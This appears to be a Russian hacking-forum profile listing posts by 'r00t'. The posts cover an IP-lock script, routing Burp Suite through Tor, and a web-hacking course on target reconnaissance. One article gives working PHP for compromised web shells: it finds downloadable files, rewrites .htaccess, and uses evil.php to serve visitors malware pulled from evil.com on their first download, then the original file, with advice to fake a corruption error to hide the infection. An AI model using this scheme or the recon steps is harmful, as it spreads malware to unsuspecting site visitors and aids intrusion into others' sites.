TEXHO

Пользователи
  • Публикаций

    114
  • Зарегистрирован

    8 марта
  • Посещение

  • Победитель дней

    1
  1. Интересно, жду в лс, обсудим.
  2. Защита страниц по IP

    Все знают, что неплохо бы защищать некоторые страницы (админки, панельки ботнетов, илитных связок и т.д) не только по паролю, но и по IP. Но если вы IP-божм, у которого нет определенного IP-адреса, то возникает проблема. Каждый раз заходить по FTP или SSH, чтобы править .htaccess - это очень обломно. И казалось бы, при таком раскладе, нет смысла ставить защиту по IP. Но для решения этой проблемки, нам понадобиться всего один php-скриптенг и одна маленькая программа (хотя, можно даже и без нее обойтись). Принцип действия следующий: php-скрипт генерирует некое число-вопрос, программа, на основе этого числа-вопроса создает число-ответ (я думаю, вы уже поняли, у кого украдена идея). Если ответ правильный, то в .htaccess записывается наш текущий ip-адрес, а прошлый затирается. Код php-скрипта: Code: <?php if($_SERVER['REQUEST_METHOD']=='POST'){ //Тут наша хитрая-прехитрая проверка if ($_POST['a']==( $_POST['q'] * 7 - $_POST['q'] * 2 + $_POST['q'] * 3) ){ echo "<font color=green><h1>Access granted!</h1></font>"; //Пишем в .htaccess Ip счастливчика $fh = fopen('.htaccess','w'); // Вместо secret.php - Защищаемая по IP папка или файл $to_write="<Files secret.php>n". "order deny,allown". "deny from alln". "allow from ".$_SERVER['REMOTE_ADDR']. "n</Files>"; fwrite($fh, $to_write); fclose($fh); } else{ echo "<font color=red><h1>Access denied!</h1></font>"; } }else{ echo " <form action='' method='post'> Q: <input type='text' name='q' value=".rand(1000,9000). "><br> A: <input type='text' name='a'><br> <input type=submit value='>>'> </form>"; } Код чудо программки (AutoIT): Code: #include <ButtonConstants.au3>#include <EditConstants.au3>#include <GUIConstantsEx.au3>#include <StaticConstants.au3>#include <WindowsConstants.au3>#Region ### START Koda GUI section ### Form=$Form1 = GUICreate("Калькулятор", 331, 136, 2249, 215)$quest = GUICtrlCreateInput("", 144, 24, 169, 21)$answer = GUICtrlCreateInput("", 144, 56, 169, 21)$Label1 = GUICtrlCreateLabel("Секретный вопрос", 40, 24, 99, 17)$Label2 = GUICtrlCreateLabel("Секретный ответ", 48, 56, 91, 17)$Calculate = GUICtrlCreateButton("Calculate", 144, 88, 107, 33)GUISetState(@SW_SHOW)#EndRegion ### END Koda GUI section ### While 1 $nMsg = GUIGetMsg() Switch $nMsg Case $GUI_EVENT_CLOSE Exit Case $Calculate $a = GUICtrlRead($quest) ;Вся суть нашей хитрой защиты $b = $a*7-$a*2+$a*3 GUICtrlSetData($answer, $ EndSwitchWEnd В реале это выглядит так. Заходим на наш php-скрипт: Копируем вопрос (Q), вставляем в программку: Копируем ответ в php-скрипт, отправляем и теперь только под нашим IP доступна нужная нам папка/файл. Получается в разы быстрее, чем заходить по ftp или ssh. (Можно ускорить процесс, используя не программку на AutoIT, а скрипт в GreaseMonkey, который сам будет заполнять поле ответа. Но это вы уже сами...). Алгоритм, по которому сейчас генерируется число-ответ откровенно убог и сбрутить нужное число можно за час максимум. Однако, ничто не мешает вам дописать туда немыслимые по своей изощренности проверки и вычисления. (Смекалистый одепт уже понял, что можно использовать при генерации числа-ответа числовые значения дня, недели, месяца, года и т.д. Тогда нельзя будет привязать одно число-ответ к одному числу-вопросу). © r00t
  3. Как подружить Burp Suite и TOR [2016]

    ̶Б̶р̶е̶в̶н̶а̶,̶ ̶п̶о̶ц̶а̶н̶ы̶!̶ Дрова, поцаны! Предположим, что нужно вам потестить onion-сайт или прикрыть свою жопу при пенетрестингах, юзая торовские IP. Вы, недолго думая (как обычно в общем), взяли tor-браузер, поставили в настройках прокси 127.0.0.1:8080, запустили бурп и... И естесна, трактор не поехал, вы опустили руки и пошли в магаз за ягой и дошиком. Но, рано отчаиваться! Нужно сделать следующее... 1. Заходим на https://www.torproject.org/download/download.html 2. Если вы под виндой (а вы под виндой, если не разобрались сами в вопросе), то качаем Expert Bundle (Иксперд Бундле): 3. Запускаем файленг tor.exe и видим чудеса: 4. Открываем Burp Suite, заходим в Options > Connections и прописываем сокс: 5. Как обычно, указываем в firefox проксю 127.0.0.1:8080 (как по-умолчанию в Burp Suite, если настроили другую - то какую настроили): 6. Проверяем свой IP через whoer.com или подобный сервис: Обратите внимание, если не поставить галочку в firefox "Удаленный DNS" и не поставить галочку в Burp Suite "Do DNS lookups over SOCKS proxy", то будет палиться ваш обычный DNS. А это значит - вас найдут. Найдут и выебут. В общем... Ставьте галочки! 7. Проверяем, что нормально открываются onion-ресурсы: 8. Можно творить непотребства: 9. ??? 10. PROFIT © r00t
  4. Небольшое отступление. Некоторое время назад на блекбоксе прошел конкурс статей. Я там участвовал и занял паршивое третье место (из пяти). То ли потому, что я лах па жизне, то ли потому, что я слишком гениален, чтобы меня поняли плебеи (склоняюсь к первой версии). Статья называлась "Инсталлы с шеллов. Новый метод". Разумеется, оказалось, что метод совсем не новый, не самый лучший и вообще говно. Некоторые рецензенты использовали такую же технику еще во времена программирования на перфокартах. Поэтому, я думаю никто не обидится огорчится, если выложу данную статью в своем говноблоге. Далее - сама статья: Введение. Существует много разных методов монетизации шеллов. Биржи ссылок, дорвеи, редиректы, спам через шеллы и т.д. Один из них - это добыча инсталлов. Через ифрейм вы сливаете трафик с сайта на связку сплойтов и получаете инсталлы софта. Это может быть софт партнерки или ваш собственный (лоадер, троян, что угодно). У данного метода есть несколько минусов: Основные загрузки идут с IE, в разы меньше с Opera, FF. Chrome не пробивается. Аренда связок - это весьма не дешевое развлечение (день - 30$-150$, неделя - 150-750$, месяц - 500$-3000$, вилки цен из того, что есть в паблике). При этом никто не гарантирует, что вы отобьете свои затраты. Если вы не умеете сливать трафик, велик шанс убить шелл с концами. Низкий процент пробива (8-12%) и разный отстук со связки (вилка 40-95%) - нужно немало трафика, чтобы отбить аренду. Поэтому этот метод мы оставим профи, которые могут спокойно оперировать большими объемами трафека и шекелей. Новый старый метод. Мы ищем на шеллах все файлы, которые годятся для впаривания инсталла. Если такие файлы на шелле есть, мы немного редактируем .htaccess (добавляем пару строк) и заливаем один скрипт (условно назовем его evil.php). В итоге пользователи при первом скачивании получают файл с нашего сервера, с тем же именем и расширением, что и оригинальный файл, однако с внедренным нами .exe. При втором скачивании, пользователь уже получает оригинальный файл. А мы получаем маленький, но стабильный поток инсталлов. Для наглядности, суть метода в виде схемы: Я думаю, стоит отметить, что сайтов может быть сколь угодно много, а шелл, на котором находятся склеенные файлы - один. Это позволяет существенно сократить время на чистку файлов. Как вы видите, у нового метода есть несколько неоспоримых плюсов: Без разницы, какой браузер используется (т.е. попадут все - IE, Chrome, FF, Opera...). Способ существенно дешевле чем использование связок. Палится только файл с сервера. Основной сервер (где склеенные файлы) не палится, т.к. нет обращения к нему через браузер пользователя. Легко автоматизировать. Нельзя 100% предсказать, сколько будет загрузок - это зависит от шелла. Однозначно известно, что загрузки будут достаточно дешевыми и качественными. (Наверное, чтобы занять 1 место, тут надо было скрины выплат из ПП пихнуть или расчеты космических прибылей. В общем, представьте, что они были.) Мы ищем на шеллах все файлы, которые годятся для впаривания инсталла. Скрипт для поиска файлов: Code: <?php// Настройки// Директория, откуда стартует скрипт// По идее надо положить в корень сайта$directory = ".";//Расширения, которые ищет скрипт. Если вы найдете еще типы файлов, в которые можно встроить свой код тем или иным способом, вы можете добавить их расширения сюда. $extensions = array ( "pdf", "exe", "zip", "rar", "gz", "doc", "docx", "docm", "xls", "xlsx", "xlsm", "ppt", "pps", "pptm", "chm" );//Рекурсивная функция поиска файловfunction get_files($dir,$arr_ext){ $fileslist = array(); if($dh = opendir($dir)){ while (false !== ($file = readdir($dh))){ if($file == '.' || $file == '..'){ continue; } // По идее, если линукc - '/' если винда - '' $path = $dir . '/' . $file; if(is_file($path)){ $extension = mb_strtolower( array_pop(explode('.', $file)) ); foreach ($arr_ext as $ext){ if($extension == $ext){ $files_list[$ext][] = $path; } } } elseif(is_dir($path)){ $files_list= array_merge_recursive($files_list, get_files($path,$arr_ext)); } } closedir($dh); return $files_list; }}// Получаем список файлов$loot = get_files($directory,$extensions);//Тестовый вывод. Я юзал в PHP-консоли WSO. Вы можете переделать все под свой скрипт/софт.print_r($loot); Получив список файлов, мы можем решить, стоит ли вообще морочиться на этом шелле с подменой файлов (бессмысленно, если на шелле только код, стили и js-скрипты). Но не стоит забывать, что даже шелл, где находится всего один .xls-файл с прайс-листом фирмы, может принести много качественных инсталлов. Вышеприведенный скрипт, вы можете использовать, чтобы чекать шеллы через вкладку php в WSO, либо через менеджер шеллов, либо вы можете его видоизменить и использовать в своем собственном софте. Идем далее... Если нужные нам файлы есть (а чаще всего они есть), то генерируем с помощью скрипта .htaccess. Скрипт для создания .htaccess: Code: <?php//Имя основного скрипта$evil_file_name = "evil.php";//Добавляйте/убирайте расширения по своему усмотрению.$extensions = array ( "pdf", "exe", "zip", "rar", "gz", "doc", "docx", "docm", "xls", "xlsx", "xlsm", "ppt", "pps", "pptm", "chm" );$source = "RewriteEngine onn";$source .= "RewriteRule ^(.*?).(" .join("|",$extensions). ")$ ".$evil_file_name." [L]n";$fh = fopen(".htaccess","w");fwrite($fh,$sоurce);fclose($fh); В принципе, можно обойтись и без этого скрипта (больше вставок кода - солиднее статья). И наконец код того самого скрипта, который подменяет файлы. Скрипт для подмены файлов (evil.php): Code: <?php$path = pathinfo($_SERVER['REQUEST_URI']);$file = $path['basename'];$full_name = substr($_SERVER['REQUEST_URI'],1);// Вместо "./" можно прописать путь к корню сайта, если файл evil.php спрятан где-то в глубине папок.// 1==0 ;-)if(file_exists("./".$full_name) and 1==0){ switch($path['extension']){ case 'doc': case 'docx': case 'docm': $content_type ='msword';break; case 'xls': case 'xlsx': case 'xlsm':$content_type ='vnd.ms-excel';break; case 'ppt': case 'pptm': case 'pps':$content_type ='vnd.ms-powerpoint';break; case 'zip':$content_type ='zip';break; case 'rar':$content_type ='x-rar-compressed';break; case 'gz':$content_type ='x-gzip';break; case 'pdf':$content_type ='pdf';break; default: $content_type ='octet-stream';break; } header('Content-type: application/'.$content_type); header('Content-Disposition: attachment; filename="'.$file.'"'); //Если уже впаривали файл, то будет стоять кука, не мучаем и отдаем нормальный файл. //Здесь можно дописать любые дополнительные проверки (браузер, ОС и т.д.). if($_COOKIE['fooled']=='1'){ readfile($full_name); }else { //Ставим куку на год setcookie ("fooled", "1", time() + 365 * 24 * 60 * 60 * 1000); //Здесь мы тянем зараженный файл. readfile('http://evil.com/evil'.$path['extension']); }} else { header("HTTP/1.0 404 Not Found"); die("<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p></body></html>");} Мы его помещаем в корень сайта (если вы хотите его спрятать поглубже, то нужно будет немного подредактировать .htaccess и сам код скрипта). Что касается файлов, то как вы понимаете, нельзя ограничиваться подменой исключительно exe-файлов: . doc, .docx, .docm, .xls, .xlsx, xlsm, .ppt, .pps, .pptm - используем макросы, эксплоиты, или просто разводки. .rar, .gz, .tar, .zip - пихаем в архив наш .exe .pdf - эксплоиты .exe, .com, .pif, .scr - внаглую подменяем exe. .chm, .mht и еще с десяток расширений - способы внедрения своего кода ищите в Google, данная статья не посвящена склейке. В некоторых случаях мы можем внаглую менять расширение - пользователь скачивает, к примеру, .doc, а мы ему отдаем файл с тем же именем, но уже с расширением .scr (на тот случай, если у вас нет никакого желания морочиться со склейкой, макросами, искать или покупать эксплоиты). Правда, знатно поебетесь с хромом. Для пущей правдоподобности, после запуска склеенного файла, пользователь должен получить сообщение в духе "Файл был поврежден." или что-то наподобие (теми же макросами это легко реализовать). Тогда юзер скачивает тот же файл еще раз, и скрипт ему отдаст уже оригинальный файл с шелла. Все его сомнения относительно благонадежности сайта улетучатся как дым. (Далее была вшивая попытка привлечь внимание к статье тех, кто работает по мобильному трафику) Для мобильных пользователей можно использовать заглушки вместо подмены. К примеру, вы не даете скачать файл, пока человек не примет смс или не установит мобильное приложение. В коде основного скрипта этого нет, но при желании вы это легко сможете дописать. Заключение. Вы наверняка сможете придумать еще парочку способов использования описанного метода. Либо придумать какие-то свои методы, на основе изложенного. Целью статьи было ̶и̶м̶е̶н̶н̶о̶ ̶д̶а̶т̶ь̶ ̶в̶е̶к̶т̶о̶р̶ ̶д̶л̶я̶ ̶д̶а̶л̶ь̶н̶е̶й̶ш̶е̶й̶ ̶р̶а̶б̶о̶т̶ы̶ ̶и̶ ̶и̶с̶с̶л̶е̶д̶о̶в̶а̶н̶и̶й̶ и срубить бабла с конкурса. Я постарался расписать всю техническую часть метода, однако мог что-то упустить, как ненамеренно (ибо не выдался умом), так и намеренно (ибо не выдался умом). Спасибо за внимание. © r00t
  5. ВЕБ-ХАКИНГ.

    На повестке дня три вопроса. [*]Чем мы будем заниматься? [*]Что мы получим в итоге? [*]Какие начальные требования? 1. Мы будем учиться находить и эксплуатировать уязвимости в веб-приложениях. 2. В итоге вы будете уметь самостоятельно находить уязвимости, будете понимать как они устроены и сможете успешно их эксплуатировать на реальных площадках. Мы будем стремится к тому, чтобы вы не тратили впустую время на многократное перечитывание многократно переписанных статей, а сходу приступали к делу. Проще говоря, вы врубитесь что к чему и в конце курса получите мощный пинок в нужное место и в нужном направлении. 3. Начальные требования. Что нужно для прохождения курса? Браузер, denwer (или аналог). Все остальное будет идти в комплекте либо будут даны ссылки на соответствующие ресурсы. Предполагаю, что вы хотя бы шапочно знаете: html, css, javascript SQL php regexp nix-системы Tcp/Ip http-протокол Apache (базовая настройка, модуль mod_rewrite) Если вам нужно освежить знания, я рекомендую следующие материалы: html, css - Самоучители на htmlbook.ru (да и вообще, недостатка в материалах по html/css нет). javascript - Самоучитель на learn.javascript.ru, Курсы Специалиста (specialist.ru) по javascript. SQL - базовые знания даст книжка "SQL - 10 минут на урок". RegExp - базовые знания даст книжка "Регулярные выражения - 10 минут на урок" nix - базовые знания даст книжка "UNIX - 10 минут на урок" php - Курсы Специалиста по php, уровень 1/2. http, Apache - Курсы Специалиста "Веб-мастеринг", RFC 2616 Это теоретический минимум, необходимый для понимания уроков курса. Все перечисленные выше материалы легко усваиваются и их легко найти в инторнетах (торрентах и т.д.). В связи с тем, что я не обещал 1000 шеллов в день и дохода в 10к $$$ в неделю, тот факт что вы дочитали до данного места, говорит о том, что у вас действительно есть шансы, чтобы чему-то научиться. © r00t Добавлено через 44 секунды ВЕБ-ХАКИНГ.Сбор информации [1]. Как вы уже догадались из названия, начальный этап перед любым взломом это сбор информации о цели (рекогницировка, как говорят на курсах CEH). Техники описанные ниже, позволят собрать первоначальные данные о цели. Этих данных уже хватит, чтобы понять с чем придется работать (и стоит ли вообще работать... может лучше потроллить школоту в вк, да выпить чаю). Пассивный сбор информации: Узнаем IP Whois DNS Сканируем порты Хостинг Reverse-IP SEO-параметры Разработчики Контакты Сотрудники Вакансии Конкурентная разведка Веб-архив Поисковые системы Блек-листы Пассивный сбор информации. 1. Узнаем IP. Тут все относительно просто. Запускаем консольку (Win+R, печатаем 'cmd', жмем Enter) и пишем всем знакомое: (Пожалуйста, продолжайте читать, дальше все не настолько плохо)) Удобнее установить в браузер плагин, который будет сразу показывать IP сайта. Подобные плагины можно найти практически под любой браузер. В некоторых (крайне запущенных) случаях можно воспользоваться онлайн-сервисами: http://www.softholm.com/services/lookup.php http://www.prime-speed.ru/ip-host.php http://ip-whois.net/website_ip.php http://www.nslookup.su/ http://speed-tester.info/site_location.php http://2ip.ru/lookup/ http://ru.siteipaddr.com/ http://get-site-ip.com/ http://ping.eu/ping/ http://www.selfseo.com/find_ip_address_of_a_website.php http://ipinfo.info/html/ip_checker.php http://www.checkip.com/ Если ресурс большой, было бы неплохо проверить его на сервисе вроде ping-admin.ru. Вполне может быть, что у ресурса IP не один, а сразу несколько: Попробуйте, возможно это не будет лишним. 2. Whois. После того, как мы узнали IP адрес домена, воспользуемся сервисом whois, чтобы узнать немного дополнительной информации. В данном случае мы воспользовались сервисом whoer.net. Мы увидели страну и провайдера, которому принадлежит IP адрес. Помимо этого, мы можем увидеть некоторые дополнительные данные: Очевидно, что IP принадлежит сервису CloudFlare, что в свою очередь значит, что реальный IP сайта от нас скрыт (можно воспользоваться сервисом http://exonapps.nl/cfresolver/). Проделываем те же самые операции только для домена (данные везде от балды, не удивляйтесь, что ip cloudflare, a ns-сервера - хостер.ру). Мы можем увидеть ns-записи. Чаще всего они прямо указывают на хостинг сайта. Иногда - на проксирующий сервис. Иногда на сам домен, что позволяет заключить, что сайт находиться на выделенном сервере. Легко найти сервисы для проверки whois: http://whoer.net/ https://www.nic.ru/whois/ http://www.whois-service.ru/ https://who.is/ http://www.ripn.net/nic/whois/ http://www.whois.net/ http://whois.domaintools.com/ http://r01.ru/domain/whois/ https://www.reg.ru/whois/ http://tools.whois.net http://betterwhois.com http://iptools.com http://geektools.com http://networksolutions.com http://whois.arin.net http://domaintools.com http://centralops.net http://google.com/?q=whois+online Стоит добавить, что есть такой замечательный сервис - http://www.whoishistory.ru/. Благодаря ему, мы можем узнать, как изменялись данные whois (сейчас, например, почта вообще не показывается). У этого сервиса есть один минус - работает он только с доменами .ru, .su и .рф. Для буржуйских сайтов существует сервис http://www.domaintools.com/research/whois-history/, но он к сожалению платный. А для триала нужен картон... 3. Проверяем dns-записи. Существует большое количество самых разных видов DNS-записей (A, MX, NS, CNAME, SOA, SRV, PTR, RP, HINFO). Нам нужно узнать поддомены сайта - увеличить количество целей для атаки, и следовательно увеличить шансы взлома. Чтобы узнать поддомены, можно воспользоваться запросом в гугл вида: site:*.target.com Все ссылки в выдаче будут вести на поддомены, не закрытые от индексации. Но, чтобы получить все dns-записи, мы спросим все что нам надо у DNS-серверов. Есть такая штука, под названием передача зоны DNS (AXRF). Нужно это для того, чтобы DNS сервера поддерживали в актуальном состоянии свои базы (если вам нужны детали - википедия вас ждет с распростертыми объятьями). Т.е. отправили AXRF-запрос, получили все DNS-записи. В нормальном режиме это полезная штука, но когда DNS-сервер отвечает всем подряд без разбора, это уже несекьюрно. Я не в курсе, что касается windows, но на *nix команда выглядит так: dig -t AXFR target.com @ns.target.com Разумеется есть и онлайн-сервисы: http://sergeybelove.ru/tools/axfr-test/?domain= https://tools.digitalpoint.com/zone-transfer?domain= http://checkdnspropagation.com/axfr/ https://www.ultratools.com/tools/zoneFileDump http://hackertarget.com/zone-transfer/ В случае успеха, мы получаем все DNS-записи: Разумеется, это не всегда получится (не все dns-сервера отдают инфу кому попало), да и не у всех сайтов вообще есть поддомены. Если не получилось узнать с помощью AXRF, стоит воспользоваться брутфорсером поддоменов. https://code.google.com/p/dns-discovery/ Аналогов не нашел, но при желании можно самому накодить подобный скрипт. 4. Сканируем порты. Получив большой список поддоменов, IP, мы натравливаем сканер портов, например nmap: И разумеется не только в дефолтном режиме (об этом напишем в других статьях). Мы должны определить все открытые порты, сервисы, ОС. Если нет желания палить собственный IP, или лень разбираться с nmap то можно воспользоваться сервисами: http://hideme.ru/ports/ https://pentest-tools.com/discovery-...er-online-nmap http://mxtoolbox.com/PortScan.aspx http://www.t1shopper.com/tools/port-scan/ https://w3dt.net/tools/portscan http://scannmap.com/ http://nmap.online-domain-tools.com/ Возможно найдется рабочий эксплоит под какой-то из сервисов/демонов, может быть сможем сбрутить ftp, ssh, rdp, и тогда даже не нужно будет возиться с веб-приложением. В любом случае — чем больше информации о цели, тем проще найти лазейку. 5. Хостинг. Способы определения хостинга: 5.1. Домен третьего уровня (к примеру - target.freehosting.com, кто является хостером, очевидно). 5.2. Реклама на сайте. Частенько, фрихостинги пихают свою рекламу во все возможные места - popup, iframe, шапка, футер. В таком случае, определить хостинг не составляет труда. 5.3. 403/404. Пробуем открыть заведомо несуществующую страницу (вызвать ошибку 404). Или попытаемся вызвать ошибку 403 - пробуем зайти в папки /admin/, /images/ и т.д. Очень часто мы увидим заглушку от хостера. 5.4. index.html. При создании нового сайта в этом файле может находиться заглушка от хостера. 5.5. NS-записи. Изучая ns-записи, мы можем столкнуться с тремя ситуациями: Сайт: target.com ns-записи: ns1.hosting.com, ns2.hosting.com Наиболее распространенный случай на shared хостингах. Хостингом является hosting.com. Сайт: target.com ns-записи: ns1.target.com, ns2.target.com Владелец сайта использует свои собственные dns-сервера. Вероятно это VDS/DS. Сайт: target.com ns-записи: ns1.freedns.com, ns2.freedns.com Владелец сайта использует сторонние dns-сервера. Вместо freedns.com может быть любой другой подобный сервис. 5.6. Проверяем данные по IP адресу. Смотрим на e-mail для контакта. Выглядят они как admin@superhost.com. Очевидно, что стоит смотреть на сайт superhost.com. Это может быть мыло как хостера, так и датацентра, где хостер арендует/держит серваки. В любом случае, хоть какая-то информация. 5.7. Заходим по IP адресу. Т.е. если Ip сайта - 123.123.23.23, мы вбиваем в браузере http://123.123.23.23/ и смотрим, что нам выдаст веб-сервер. У крупных хостеров стоит заглушка (по которой мы хостера резко и чотка опознаем). У мелких хостеров мы увидим либо вход в панель управления (ISP и подобные), либо один из сайтов, которые находятся на данном сервере. 5.8. Reverse DNS lookup. На линухе достаточно пингануть IP, на винде - использовать nslookup. Хостинг получается определить благодаря тому, что в PTR записях обычно используется название хостинга: Например тут видно, что хостер - webhost1.ru. Для получения тех же результатов можно воспользоваться одним из сервисов: http://remote.12dt.com/lookup.php http://www.dnsqueries.com/en/reverse_lookup.php http://mxtoolbox.com/ReverseLookup.aspx http://www.dnswatch.info/ http://www.reverse-dns.org/ http://rdnslookup.com/ http://www.lookupserver.com/ 5.9. Traceroute. Воспользуемся штатной утилитой traceroute (в винде - tracert). Благодаря трассировке, мы узнаем не только хостера, но и дата-центр (в данном случае это hetzner.de) Ежели лень наша не знает границ, мы опять таки, воспользуемся онлайн-сервисами: http://traceroute.monitis.com/ http://www.ip-ping.ru/tracert/ http://russianproxy.ru/traceroute http://centralops.net/co/ http://traceroute.nmonitoring.com/ http://www.tracert.org/traceroute/ http://www.subnetonline.com/pages/ne...traceroute.php 5.10. SMTP. Делаем коннект на 25 порт. Если там висит почтовый сервис, он нам сходу выдаст имя хоста (способ похож на предыдущие 2 - определяем хостинг по имени хоста). Набираем: telnet o firststeps.ru 25 Видим: Но, как и всегда, мы можем не напрягать свой мозг и использовать сервисы: http://www.adminkit.net/telnet.aspx http://telnet.browseas.com/ http://www.linestarve.com/telnet/ 5.11. Спрашиваем у владельца. Это скорее уже активный сбор информации, но все же - можно просто спросить у владельца, что за хостинг он использует. Проделав вышеописанные операции мы с вероятностью в 90% определим хостинг сайта. Исключение составят те случаи, когда IP сайта скрыт сервисами типа cloudflare или чем-то подобным. Итак, что мы можем узнать, зная хостинг: Виртуальный хостинг. Топаем на сайт хостера, изучаем сайт, изучаем форум, если он есть. Читаем FAQ. Можно даже оплатить аккаунт или взять тестовый, чтобы изучить хостинг вдоль и поперек. Смотрим, как происходит восстановление пароля, как происходит взаимодействие с техподдержкой. Работает ли ftp, ssh, что возможно сделать через панель хостера. Есть ли WAF. Какие настройки php (можно попросить показать вывод функции phpinfo()). Узнаем, были ли взломы сайтов данного хостера. Если были, то как это происходило, есть ли дыры сейчас. Если сайт находится на платформе типа ucoz, blogspot или подобных, то поиск уязвимостей на сайте равносилен поиску уязвимостей на самой платформе (что существенно усложняет задачу). Однако, есть плюс в том, что мы можем использовать методы социальной инженерии не только к владельцу сайта, но и к техподдержке хостинга. VPS/VDS/DS. Если хостер так и не определен, то скорее всего мы имеем дело с выделенным сервером. В некоторых случаях это может быть арендованный сервер в дата-центре, может и домашний комп со белым IP, который не выключают сутками. Есть шанс, что админ выделенного сервера не настолько опытен, как админы крупных хостингов, и совершил ошибки при настройке сервера. Данные phpinfo() на некоторых хостингах Данные phpinfo() на некоторых хостингах: 1and1 | http://res.championik.com/htests/info.php 1gb | http://younumberone.ru/htests/info.php Agava | http://redhappy.ru/htests/info.php Aiwebhost | http://hosting-ninja.su/htests/info.php Anhosting | http://videperez.ru/htests/info.php Arvixe | http://cofemug.ru/htests/info.php Awardspace | http://liniauspeha.ru/htests/info.php Beget | http://77secrets.ru/htests/info.php Canadian | http://kaizenman.com/htests/info.php Domishko | http://mediapriz.ru/htests/info.php Dreamhost | http://www.monsterpapa.ru/htests/info.php Eomy | http://teloboga.ru/htests/info.php Eskhosting | http://mediaboomer.ru/htests/info.php EuroByte | http://hosting-ninja.mobi/htests/info.php FastWebHost | http://5hostel.ru/htests/info.php FullSpace | http://infobusiness.me/htests/info.php Gigahost | http://xtremer.ru/htests/info.php Host-ed | http://3tatushki.ru/htests/info.php hostcab.ru | http://voskotop.ru/htests/info.php Hostenko | http://www.10mind.ru/htests/info.php Hoster | http://www.bigvalueforyou.ru/htests/info.php Hoster.ru http://www.bigvalueforyou.ru/htests/info.php HostGator | http://longlifesecret.ru/htests/info.php Hostia | http://3volhva.ru/htests/info.php Hostiq | http://hninja.ru/htests/info.php HostMonster | http://japanhost.ru/htests/info.php HostPapa | http://drwhite.ru/htests/info.php HTS | http://champion-of-live.com/htests/info.php InMotion | http://1popoff.ru/htests/info.php iPage | http://mylonglife.ru/htests/info.php iPipe | http://slovosovesti.ru/htests/info.php ISPserver | http://suncenter-ufa.ru/htests/info.php It-mcp | http://arenda-spartak.ru/htests/info.php Jino | http://newgenerationman.ru/htests/info.php justhost | http://redmoneymaker.ru/htests/info.php Logol | http://vashapilorama.ru/htests/info.php Mainhost | http://hosting-ninja.org/htests/info.php Majordomo | http://delaemblog.ru/htests/info.php Mchost | http://hosting-ninja.biz/htests/info.php Megahoster | http://hosting-ninja.me/htests/info.php Onelim | http://hosting2vps.ru/htests/info.php Radiushost | http://ruporpravdi.ru/htests/info.php redhosting | http://videoboomer.ru/htests/info.php Reg.ru | http://www.10hostel.ru/htests/info.php Relevate | http://moneyinself.ru/htests/info.php Rusonyx | http://champion-of-russia.com/htests/info.php RX-name | http://listmetala.ru/htests/info.php Siteko | http://champion-of-life.ru/htests/info.php SpaceWeb | http://zapuskbloga.ru/htests/info.php sprinthost | http://money-money-money.ru/htests/info.php Superb.net | http://krasapolei.ru/htests/info.php TAGhosting | http://hostrix.ru/htests/info.php TimeWeb | http://99secrets.ru/htests/info.php Tuthost | http://video-dragon.ru/htests/info.php UnixHost | http://uspehiudacha.ru/htests/info.php Versio | http://kaizenman.ru/htests/info.php WebGuard | http://trepetvetra.ru/htests/info.php Yutex | http://7hostel.ru/htests/info.php Эта инфа выдрана с сайта hosting-ninja.ru (там чуть больше хостингов). Наиболее интересны для нас следующие директивы php: allow_url_fopen - поддержка оберток URL (URL wrappers), которые позволяют работать с объектами URL как с обычными файлами. allow_url_include - возможность использования URL в функциях include, include_once, require, require_once (одно из основных условий для уязвимости RFI). display_errors - опция отвечающая за отображение ошибок в выводе страницы, если отключена, то вы не увидите ничего вроде "Warning:....", "Deprecated:....", "Fatal error:....", "Parse error:....", либо пустой экран, либо вывод без ошибок (основное условие для уязвимости FPD). expose_php - если включена, то в заголовках ответа можно узнать версию php file_uploads - опция, разрешает/запрещает загрузку файлов на сервер, с помощью php (могут возникнуть сложности при заливке шелла). magic_quotes_gpc - автоматическое экранирование кавычек, двойных кавычек, нулл-байта, обратного слеша обратным слешем в данных полученных из Get/Post/Cookie (могут возникнуть сложности при эксплуатации SQL-инъекций) register_globals - уже редкость, чаще всего отключена. Если включена, то есть возможность передавать значения переменных через get, post, cookie. safe_mode - безопасный режим. Много ограничений, включается запрет функций использования команд. safe_mode_exec_dir - если включено, то можно запускать команды в пределах указанной директории (у недалеких админов бывает равно "/", что сводит на нет эту директиву). disable_functions - Отключенные функции (чаще всего отключают функции выполнения команд). 6. Reverse-IP. На одном IP и на одном сервере может находится множество сайтов: Не существует 100% способа узнать все сайты на одном IP. Онлайн сервисы позволяют находить сайты на одном IP только благодаря большим базам (парсят денно и нощно). Поэтому необходимо использовать максимальное кол-во сервисов reverse-ip: http://www.yougetsignal.com/tools/we...on-web-server/ http://reverseip.domaintools.com/ http://ipaddress.com/reverse_ip/ http://www.iwebtool.com/reverse_ip http://www.ipfingerprints.com/reverseip.php http://viewdns.info/reverseip/ http://www.majesticseo.com/reports/n...urhood-checker http://www.myipneighbors.com/ http://logontube.com/reverseip/ http://www.tcpiputils.com/domain-neighbors http://ip-www.net/ http://www.ip-address.org/reverse-lookup/reverse-ip.php http://bgp.he.net/ip/ http://bing.com/?q=ip:xxx.xxx.xxx.xxx Сайты меняют хостинг, домены дропаются, поэтому полученные данные надо обязательно перепроверять. Если IP-адреса сайтов совпадают, можно утверждать, что они находятся на одном сервере. В некоторых случаях сайты могут находится на одном сервере, даже если у них различается последний октет IP адреса - 121.1.1.1, 121.1.1.2, 121.1.1.3. 7. SEO-параметры. Узнаем основные seo-параметры сайта: 1. Тиц. PR. Яндекс-каталог. DMOZ. 2. Беклинки 3. Внешние ссылки. Получив все эти данные мы можем сделать несколько выводов. Во-первых, мы узнаем, на какую примерную сумму можно рассчитывать, если продавать доступ к данному сайту(50 шекелей? 30? 10?). Во-вторых, мы можем проверить совпадают ли IP беклинков и внешних ссылок с IP цели. Если есть совпадения, то мы можем предположить, что эти сайты находятся не только на одном сервере, но и на одном аккаунте хостинга. Это означает, что достаточно взломать всего 1 сайт и мы автоматом получим доступ к остальным (которые совпали). Объясню прошлый абзац. Представьте, что есть фрилансер Феофан Крохоборов. Феофан делает сайты. И берет за них деньги. А чтобы заработать больше денег, Феофан размещает сайты своих клиентов на одном аккаунте хостинга (в итоге Феофану платят 10 человек по 100р в месяц за хостинг, а сам Феофан платит за хостинг 50р в месяц, выгода!) Только Феофан не осознает, что взломав даже 1 сайт из 10, подлый хацкер получит доступ и ко всем остальным 9. А вычислят Феофана легко - он везде ставит линк на основной сайт ("Сделано в студии Феофана КРохоборова"), а если он прочитал пару статей по SEO, то еще и перелинкует все ресурсы. Если на сайте target.com используется счетчик liveinternet, то получить статистику можно по следующим ссылкам: http://counter.yadro.ru/values?site=target.com 